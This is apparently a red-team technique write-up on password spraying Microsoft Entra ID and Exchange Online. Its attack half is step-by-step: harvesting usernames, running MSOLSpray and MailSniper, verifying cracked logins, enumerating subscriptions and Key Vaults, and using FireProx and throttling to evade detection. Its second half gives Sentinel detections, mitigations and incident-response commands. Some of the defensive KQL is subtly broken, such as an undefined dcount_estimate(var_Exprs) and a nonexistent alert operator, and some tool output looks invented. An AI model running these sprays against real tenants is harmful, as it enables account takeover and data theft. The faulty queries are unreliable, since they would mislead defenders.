| Attribute | Details |
|---|---|
| Technique ID | CA-BRUTE-001 |
| MITRE ATT&CK v18.1 | T1110.003 - Brute Force: Password Spraying |
| Tactic | Credential Access |
| Platforms | Entra ID / Azure AD (All versions) |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | Entra ID (all tenants), Azure Public Cloud, Azure US Government, Azure China 21Vianet, Hybrid (PHS/PTA) |
| Patched In | N/A (Mitigation via Smart Lockout, MFA, Conditional Access enforced as default Oct 2025) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team), 8 (Splunk Detection), and 11 (Sysmon Detection) not included because: (1) Atomic Red Team test exists but requires valid tenant access for testing, (2) Splunk is on-premises log aggregation; Azure sign-in logs are cloud-native and best analyzed via Microsoft Sentinel, (3) Sysmon doesn’t capture cloud authentication events.
Concept: Azure portal password spray attacks target Entra ID authentication endpoints using a low-and-slow brute-force methodology. Rather than attempting multiple passwords against a single account (which triggers smart lockout), attackers spray a single weak password (e.g., “Password123!”, “Winter2025”, “Summer2024”) across hundreds or thousands of harvested usernames. The Azure Sign-In endpoint (login.microsoft.com) accepts these authentication attempts, and attackers monitor responses to identify which accounts exist and which password is valid. The attack is conducted externally, requires zero organizational access, and can bypass weak conditional access policies or non-enforced MFA.
Attack Surface: The attack targets Microsoft Entra ID’s publicly accessible authentication infrastructure:
https://login.microsoft.com (Azure Portal login)portal.office.com), Outlook Web Access (mail.office.com), Azure App Service authenticationBusiness Impact: Successful password spray results in unauthorized access to Azure subscriptions, M365 services, cloud-stored data, and infrastructure-as-code repositories. Compromised accounts enable lateral movement to on-premises AD (via Seamless SSO or Pass-Through Authentication), ransomware deployment, data exfiltration, and long-term persistence. Real-world APT campaigns (APT28, APT29, HAFNIUM, Peach Sandstorm) have used password spray to establish initial footholds in government, financial, and critical infrastructure organizations.
Technical Context: A single spray campaign can test 50-500 usernames against one password in under 10 minutes without triggering smart lockout (default threshold: 10 failed attempts per account). Distributed IP addresses evade geolocation-based detection. Attackers typically throttle attempts to 1-2 per minute per IP to avoid rate-limiting. Success rate ranges from 0.1% to 5% depending on password policy enforcement and user behavior. Detection is possible via Entra ID sign-in logs and anomaly detection but requires proper log aggregation and alerting infrastructure.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 1.2.1 | Ensure that ‘Enforce Multi-factor Authentication’ is enabled for all user accounts in Entra ID |
| CIS Benchmark | CIS 2.1 | Ensure that ‘Conditional Access’ policies are created for user sign-in risk |
| DISA STIG | Windows 10/11 STIG | Require MFA for all cloud service authentication |
| NIST 800-53 | AC-7 Unsuccessful Login Attempts | Enforce login throttling and account lockout |
| NIST 800-53 | IA-5 Authentication | Use multi-factor authentication to counter credential-based attacks |
| NIST 800-53 | SI-4 Information System Monitoring | Detect and alert on brute-force authentication attempts |
| GDPR | Art. 32 | Security of processing (strong authentication mechanisms) |
| DORA | Art. 9 | Protection and prevention of authentication-based attacks |
| NIS2 | Art. 21 | Cyber Risk Management (incident response to authentication events) |
| ISO 27001 | A.9.2.1 | User registration and de-registration |
| ISO 27005 | Risk Scenario | “Unauthorized account compromise via credential guessing” |
Required Privileges: None (external network access only). No organizational access required.
Required Access:
login.microsoft.com and related Microsoft authentication endpointsSupported Versions:
Environment Requirements:
Tools:
Gather Valid Usernames (Public Methods):
# Method 1: Check if company uses LinkedIn for organizational intelligence
# Domain: company.com
# Usernames typically follow: firstname.lastname@company.com OR user@company.onmicrosoft.com
# Method 2: Enumerate tenant ID from domain name
# Find Tenant ID (used for authentication flows, confirms tenant exists)
Invoke-WebRequest -Uri "https://login.microsoft.com/company.com/.well-known/openid-configuration" | Select-Object Content
# Expected output:
# Confirms tenant exists and returns OAuth endpoints
Check Entra ID Smart Lockout Configuration (External Check):
# Cannot directly check from outside, but infer behavior by timing failed attempts
# If account locks after 10 attempts in 60 seconds, Smart Lockout is ACTIVE (default Azure Public)
# If account locks after 3 attempts, likely Azure US Government
# If no lockout after 20+ attempts, Smart Lockout may be DISABLED or custom threshold set
What to Look For:
Command (Python - Test Connectivity):
#!/usr/bin/env python3
import requests
# Test Azure login endpoint availability
response = requests.get("https://login.microsoft.com/common/oauth2/v2.0/token", timeout=5)
print(f"Azure Login Endpoint: {response.status_code}")
# If 200/400/401: Endpoint is reachable
# If 403/timeout: May be rate-limited or blocked
Linux / Reconnaissance Tools:
# Using curl to enumerate tenant
curl -s "https://login.microsoft.com/company.com/.well-known/openid-configuration" | grep -o '"issuer":"[^"]*"'
# Using nslookup to verify domain
nslookup company.onmicrosoft.com
# Should resolve to Microsoft's nameservers, confirming tenant
# Using whois to check company domain
whois company.com
Supported Versions: All Entra ID versions; works on Windows, Linux (via WSL), macOS
This is the most commonly used tool for Azure portal password spraying. MSOLSpray directly targets Microsoft Online Services (Entra ID) and provides built-in detection for MFA-enabled accounts.
Objective: Collect or generate a list of valid Entra ID usernames in the format user@company.com.
Command (Generate from LinkedIn Scrape):
# Using a LinkedIn scraper tool (e.g., ScraperJS, custom script)
# This is a SIMPLIFIED example; actual LinkedIn scraping requires browser automation
cat > scrape_linkedin.py <<'EOF'
import requests
import json
# Example: Harvested usernames from company LinkedIn profile
usernames = [
"john.smith@company.com",
"sarah.johnson@company.com",
"mike.williams@company.com",
"lisa.brown@company.com",
"david.davis@company.com"
]
with open("userlist.txt", "w") as f:
for user in usernames:
f.write(user + "\n")
print(f"[+] Generated {len(usernames)} usernames")
EOF
python3 scrape_linkedin.py
Expected Output:
$ cat userlist.txt
john.smith@company.com
sarah.johnson@company.com
mike.williams@company.com
lisa.brown@company.com
david.davis@company.com
What This Means:
OpSec & Evasion:
Troubleshooting:
user@company.com or user@company.onmicrosoft.comObjective: Install MSOLSpray tool on attack system.
Command (Download from GitHub):
# Clone MSOLSpray repository
git clone https://github.com/dafthack/MSOLSpray.git
cd MSOLSpray
# List available functions
ls -la
# Expected files: MSOLSpray.ps1, README.md, etc.
Command (PowerShell - Import Module):
# Navigate to MSOLSpray directory
cd C:\Tools\MSOLSpray
# Import module into current PowerShell session
Import-Module .\MSOLSpray.ps1
# Verify import
Get-Command -Module MSOLSpray | Select-Object Name
# Expected output:
# Invoke-MSOLSpray
Expected Output:
ModuleType Version Name ExportedCommands
---------- ------- ---- ----------------
Script 0.0 MSOLSpray {Invoke-MSOLSpray}
What This Means:
OpSec & Evasion:
Objective: Send authentication requests with single password across all usernames.
Command (Basic MSOLSpray Spray):
# Simple spray with single password
Invoke-MSOLSpray -UserList .\userlist.txt -Password "Winter2025" -Verbose
# Parameters:
# -UserList = Path to username file
# -Password = Single password to spray (should match password policy)
# -Verbose = Show detailed output
Command (Output Results to File):
# Spray with results saved to file
Invoke-MSOLSpray -UserList .\userlist.txt -Password "Winter2025" -OutFile .\spray_results.txt -Verbose
# Results file will show:
# [+] VALID CREDENTIALS FOUND!!! john.smith@company.com:Winter2025
# [-] john.smith@company.com failed login
Command (MFA Detection):
# MSOLSpray will automatically detect MFA
# Output will show:
# [!] john.smith@company.com ACCOUNT LOCKED (MFA Enabled)
# [!] sarah.johnson@company.com MFA Enabled - Spray less likely successful
Expected Output (Valid Credentials Found):
[*] MSOLSpray 4.0 starting...
[*] Spraying 450 accounts
[*] Spray in progress...
[+] VALID CREDENTIALS FOUND!!! john.smith@company.com:Winter2025
[+] VALID CREDENTIALS FOUND!!! mike.williams@company.com:Winter2025
[!] sarah.johnson@company.com account locked
Expected Output (No Valid Credentials):
[*] MSOLSpray 4.0 starting...
[*] Spraying 450 accounts
[*] Spray in progress...
[-] All authentication attempts failed
[*] Smart Lockout protection triggered after account threshold
What This Means:
OpSec & Evasion:
Invoke-MSOLSpray -UserList .\userlist.txt -Password "Winter2025" -Delay 2000
# 2000ms delay = slower but less detectable
Troubleshooting:
-Delay 5000 (5-second delay)References & Proofs:
Objective: Parse results and validate discovered credentials.
Command (Extract Valid Credentials):
# Parse spray_results.txt for valid credentials
$valid = Select-String -Path .\spray_results.txt -Pattern "VALID CREDENTIALS FOUND"
# Display results
$valid | ForEach-Object {
Write-Host "Valid: $($_.Line)" -ForegroundColor Green
}
Command (Test Credentials Against Azure Portal):
# Verify credentials work by attempting login
$username = "john.smith@company.com"
$password = "Winter2025"
$SecurePassword = ConvertTo-SecureString $password -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($username, $SecurePassword)
# Attempt to connect to Azure
try {
Connect-AzAccount -Credential $Credential -ErrorAction Stop
Write-Host "[+] Credentials valid! Logged in as $username" -ForegroundColor Green
# Get subscriptions accessible to this account
Get-AzSubscription | Select-Object Name, SubscriptionId
} catch {
Write-Host "[-] Credentials failed: $($_.Exception.Message)" -ForegroundColor Red
}
Expected Output (Valid Credentials):
Account SubscriptionName TenantId Environment
------- ---------------- -------- -----------
john.smith@company.com Production Subscription a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d AzureCloud
SubscriptionName: Production Subscription
SubscriptionId : a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d
What This Means:
OpSec & Evasion:
Objective: Once valid credentials obtained, escalate to Global Admin or other privileged roles.
Command (Check Current Roles):
Connect-AzAccount -Credential $Credential
Get-AzRoleAssignment -SignInName john.smith@company.com | Select-Object DisplayName, RoleDefinitionName
Command (Lateral Movement - Check Accessible Subscriptions):
# List all subscriptions accessible to compromised account
Get-AzSubscription | Select-Object Name, Id
# Get subscriptions containing sensitive resources
Get-AzResource | Where-Object {$_.Type -like "*KeyVault*" -or $_.Type -like "*StorageAccount*"} | Select-Object Name, Type, ResourceGroupName
References & Proofs:
Supported Versions: Entra ID with Exchange Online enabled (M365)
MailSniper is a specialized tool for targeting Exchange Web Services (EWS) and Outlook Web Access (OWA) endpoints. It’s useful when Azure portal is heavily protected but Exchange is accessible.
Objective: Create CSV with username-password pairs (or iterate single password).
Command:
# Create userpass.txt with username:password format
$userpass = @(
"john.smith@company.com:Winter2025",
"sarah.johnson@company.com:Winter2025",
"mike.williams@company.com:Winter2025"
)
$userpass | Out-File -FilePath .\userpass.txt -Encoding UTF8
cat .\userpass.txt
Expected Output:
john.smith@company.com:Winter2025
sarah.johnson@company.com:Winter2025
mike.williams@company.com:Winter2025
Command:
# Download and import MailSniper
Import-Module .\MailSniper.ps1
# Spray against OWA endpoint
Invoke-MailSniper -ExchHostname mail.company.com -UserList .\userlist.txt -Password "Winter2025" -OutFile .\owa_spray_results.txt -Verbose
# Alternative: Spray against EWS endpoint (more reliable)
Invoke-MailSniper -ExchHostname outlook.office365.com -ExchangeVersion Exchange2019 -UserList .\userlist.txt -Password "Winter2025" -OutFile .\ews_spray_results.txt
Expected Output:
[*] MailSniper 2.0 starting...
[+] VALID CREDENTIALS FOUND!!! john.smith@company.com:Winter2025 (Mailbox accessible)
[!] sarah.johnson@company.com (MFA Enabled)
[-] mike.williams@company.com (Invalid credentials)
References & Proofs:
Supported Versions: All Entra ID versions
FireProx rotates requests through AWS API Gateway, masking attacker IP and evading geolocation-based detection.
Command:
# Install FireProx
git clone https://github.com/ustayready/fireprox.git
cd fireprox
pip3 install -r requirements.txt
# Create API Gateway
python3 fireprox.py --url https://login.microsoft.com --region us-east-1 --access-key YOUR_AWS_KEY --secret-key YOUR_AWS_SECRET
# Expected output:
# [+] API Gateway URL: https://abc123xyz.execute-api.us-east-1.amazonaws.com/
Command:
# Modify MSOLSpray to use FireProx URL
$ProxyURL = "https://abc123xyz.execute-api.us-east-1.amazonaws.com/"
# PowerShell spray via proxy
$username = "john.smith@company.com"
$password = "Winter2025"
$body = @{
"username" = $username
"password" = $password
} | ConvertTo-Json
$response = Invoke-WebRequest -Uri "${ProxyURL}common/oauth2/v2.0/token" -Method POST -Body $body -Proxy $ProxyURL -ProxyUseDefaultCredentials
if ($response.StatusCode -eq 200) {
Write-Host "[+] VALID CREDENTIALS: $username"
} else {
Write-Host "[-] Invalid: $username"
}
Benefits:
References & Proofs:
Version: 4.0+
Minimum Version: 2.0
Supported Platforms: Windows, Linux (via WSL/PowerShell Core), macOS
Installation:
git clone https://github.com/dafthack/MSOLSpray.git
cd MSOLSpray
Import-Module .\MSOLSpray.ps1
Usage (Simple):
Invoke-MSOLSpray -UserList userlist.txt -Password "Winter2025"
Usage (Advanced - Throttled, with Output):
Invoke-MSOLSpray -UserList userlist.txt -Password "Winter2025" -OutFile results.txt -Delay 2000 -URL "https://login.microsoftonline.com"
Version: 2.0+
Minimum Version: 1.0
Supported Platforms: Windows, Linux (via WSL/PowerShell Core)
Installation:
git clone https://github.com/dafthack/MailSniper.git
cd MailSniper
Import-Module .\MailSniper.ps1
Usage:
Invoke-MailSniper -ExchHostname outlook.office365.com -UserList userlist.txt -Password "Winter2025" -OutFile results.txt
Version: Latest
Supported Platforms: Linux, macOS, Windows (via WSL)
Installation:
git clone https://github.com/ustayready/fireprox.git
cd fireprox
pip3 install -r requirements.txt
Usage:
python3 fireprox.py --url https://login.microsoft.com --region us-east-1 --access-key KEY --secret-key SECRET
Rule Configuration:
SigninLogsResultType, UserPrincipalName, IPAddress, ClientAppUsedKQL Query:
SigninLogs
| where ResultType != "0" // Failed logins (0 = success)
| where ResultType in ("50055", "50056", "50057", "50076", "50079", "50085", "50097", "50158", "50161", "50168", "50173") // Password-related failures
| where ClientAppUsed !in ("Office 365 Exchange Online", "Microsoft Exchange") // Exclude normal exchange failures
| summarize FailureCount = count(), DistinctUsers = dcount(UserPrincipalName), DistinctPasswords = dcount_estimate(var_Exprs) by IPAddress, bin(TimeGenerated, 5m)
| where FailureCount > 20 and DistinctUsers > 5 // 20+ failures, 5+ different users = password spray pattern
| order by FailureCount desc
What This Detects:
Manual Configuration Steps (Azure Portal):
Detect High Volume Failed Sign-Ins from Single IPRule Configuration:
SigninLogsKQL Query:
let PasswordSprayThreshold = 15; // Threshold for spray detection
SigninLogs
| where ResultType in ("50055", "50056", "50057", "50076") // Invalid password result types
| summarize
FailureCount = count(),
DistinctUsers = dcount(UserPrincipalName),
UserList = make_set(UserPrincipalName, 10),
IPAddresses = make_set(IPAddress),
FirstAttempt = min(TimeGenerated),
LastAttempt = max(TimeGenerated),
Duration = max(TimeGenerated) - min(TimeGenerated)
by AppDisplayName, ClientAppUsed
| where DistinctUsers >= PasswordSprayThreshold // 15+ users targeted
| where Duration <= 1h // Within 1 hour = concentrated attack
| order by DistinctUsers desc
What This Detects:
Rule Configuration:
SigninLogsKQL Query:
// Find successful login from IP that previously had failures
let SprayAttempts =
SigninLogs
| where ResultType != "0" // Failed
| where ResultType in ("50055", "50056", "50057") // Password failures
| summarize by IPAddress, UserPrincipalName, bin(TimeGenerated, 1h);
let SuccessfulLogins =
SigninLogs
| where ResultType == "0" // Success
| where ClientAppUsed == "Browser" or ClientAppUsed == "Azure Portal";
SprayAttempts
| join kind=inner SuccessfulLogins on IPAddress, UserPrincipalName
| where TimeGenerated1 > TimeGenerated // Success AFTER spray attempts
| project IPAddress, UserPrincipalName, FailureTime = TimeGenerated, SuccessTime = TimeGenerated1, TimeDelta = TimeGenerated1 - TimeGenerated
What This Detects:
Log Source: Azure Sign-In Logs (via Entra ID / Microsoft Sentinel), NOT local Windows Event Log
Trigger: Successful authentication after password spray
Filter:
Manual Configuration Steps (Enable Sign-In Logging):
Mitigation 1: Enforce Multi-Factor Authentication (MFA) for All Users
Objective: MFA eliminates password spray success even if password is correct. Attacker cannot bypass MFA without account access.
Applies To Versions: All Entra ID
Manual Steps (Entra ID Portal - Require MFA for All Users):
Require MFA for All UsersManual Steps (PowerShell - Require MFA):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Policy.Read.All", "Policy.ReadWrite.ConditionalAccess"
# Create conditional access policy requiring MFA
$policy = New-MgIdentityConditionalAccessPolicy -DisplayName "Require MFA All Users" `
-State "enabled" `
-Conditions @{
users = @{ includeUsers = "All" };
applications = @{ includeApplications = "All" };
signInRiskLevels = "all"
} `
-GrantControls @{
operator = "AND";
builtInControls = "mfa"
}
Write-Host "MFA Policy Created: $($policy.Id)"
Impact Assessment:
Validation Command:
Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Require MFA All Users'"
# Should return the policy with State = "enabled"
Mitigation 2: Customize Smart Lockout Threshold (Lower = Better)
Objective: Reduce failed attempts before lockout. Default is 10; lower to 5-7 to catch spray faster.
Applies To Versions: All Entra ID (P1+ required for customization)
Manual Steps (Entra ID Portal):
Expected Impact:
Validation Command (PowerShell):
# Check current smart lockout settings
Get-MgIdentityPasswordPolicy | Select-Object SmartLockoutThreshold, SmartLockoutDurationSeconds
# Expected: SmartLockoutThreshold = 5, SmartLockoutDurationSeconds = 120
Mitigation 3: Block Legacy Authentication Protocols
Objective: Legacy protocols (SMTP, IMAP, POP3, RPC, etc.) are common targets for password spray. Blocking them eliminates entire attack vector.
Applies To Versions: All Entra ID
Manual Steps (Conditional Access - Block Legacy Auth):
Block Legacy AuthenticationImpact:
Validation Command:
# Verify legacy auth block is active
Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Block Legacy Authentication'" | Select-Object State, DisplayName
Mitigation 4: Implement Risk-Based Conditional Access
Objective: Automatically block or require MFA for suspicious sign-ins (unusual location, time, device).
Manual Steps:
Block High-Risk Sign-InsMitigation 5: Monitor and Alert on Sign-In Failures
Objective: Create alerts for spray patterns so SOC can respond.
Manual Steps (Microsoft Sentinel Query):
// Alert on potential password spray
SigninLogs
| where ResultType != "0"
| summarize FailureCount = count() by IPAddress, bin(TimeGenerated, 5m)
| where FailureCount > 20
| alert Severity="High" Name="Potential Password Spray Detected"
Mitigation 6: Restrict IP Ranges via Conditional Access
Objective: Allow access only from known geographic locations or IP ranges.
Manual Steps:
Restrict Access to Known IPsNetwork:
login.microsoft.comBehavioral:
Cloud Logs (Microsoft Sentinel / Entra ID):
SigninLogs table: Failed and successful authentication attemptsAuditLogs table: Account modifications post-compromiseCloudAppEvents table: Data access or exfiltration post-compromiseTiming Analysis:
IP Analysis:
1. Immediate Containment
Command (Force Password Reset for Compromised Account):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "User.ManagementWrite.All"
# Get compromised user
$user = Get-MgUser -Filter "userPrincipalName eq 'john.smith@company.com'" -Select Id
# Force password reset
Update-MgUser -UserId $user.Id -ForceChangePasswordNextSignIn $true
Write-Host "Password reset enforced for $($user.UserPrincipalName)"
Command (Disable Account):
# Disable compromised account
Update-MgUser -UserId $user.Id -AccountEnabled $false
Write-Host "Account disabled: $($user.UserPrincipalName)"
Command (Revoke All Sessions):
# Revoke all refresh tokens (force re-authentication)
Invoke-MgGraphRequest -Method POST -Uri "/users/$($user.Id)/invalidateAllRefreshTokens"
Write-Host "All sessions revoked for $($user.UserPrincipalName)"
2. Investigation
Command (Find All Failed Logins from Attacker IP):
SigninLogs
| where IPAddress == "192.0.2.100" // Attacker IP
| where ResultType != "0"
| summarize by UserPrincipalName, ResultType
| order by UserPrincipalName
Command (Find Successful Logins After Spray):
let spraytime = (SigninLogs | where IPAddress == "192.0.2.100" | where ResultType != "0" | summarize MaxTime = max(TimeGenerated));
SigninLogs
| where IPAddress == "192.0.2.100"
| where ResultType == "0" // Success
| where TimeGenerated > toscalar(spraytime)
3. Remediation
Command (Block Attacker IP via Firewall/Conditional Access):
# Create policy to block specific IP
New-MgIdentityConditionalAccessPolicy -DisplayName "Block Attacker IP" `
-State "enabled" `
-Conditions @{
ipNamedLocations = @{ include = "192.0.2.100" }
} `
-GrantControls @{ builtInControls = "block" }
Command (Audit Account Changes Post-Compromise):
AuditLogs
| where InitiatedBy.user.userPrincipalName == "john.smith@company.com"
| where TimeGenerated > now(-24h)
| summarize by OperationName, TargetResources
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-002] ROADtools Entra ID Enumeration | Attacker enumerates usernames and tenant info |
| 2 | Credential Access | [CA-BRUTE-001] | Attacker sprays password against harvested usernames |
| 3 | Initial Access | [IA-VALID-001] Default Credential Exploitation | Attacker uses compromised credentials to access portal |
| 4 | Privilege Escalation | [PE-VALID-010] Azure Role Assignment Abuse | Escalate to higher privileges (Global Admin) |
| 5 | Persistence | [PE-ACCTMGMT-001] App Registration Permissions | Create persistent access via app registration |
| 6 | Collection | [CO-CLOUD-001] Azure Storage Account Exfiltration | Exfiltrate data from storage accounts |
| 7 | Impact | Ransomware Deployment | Deploy ransomware to VMs, file shares |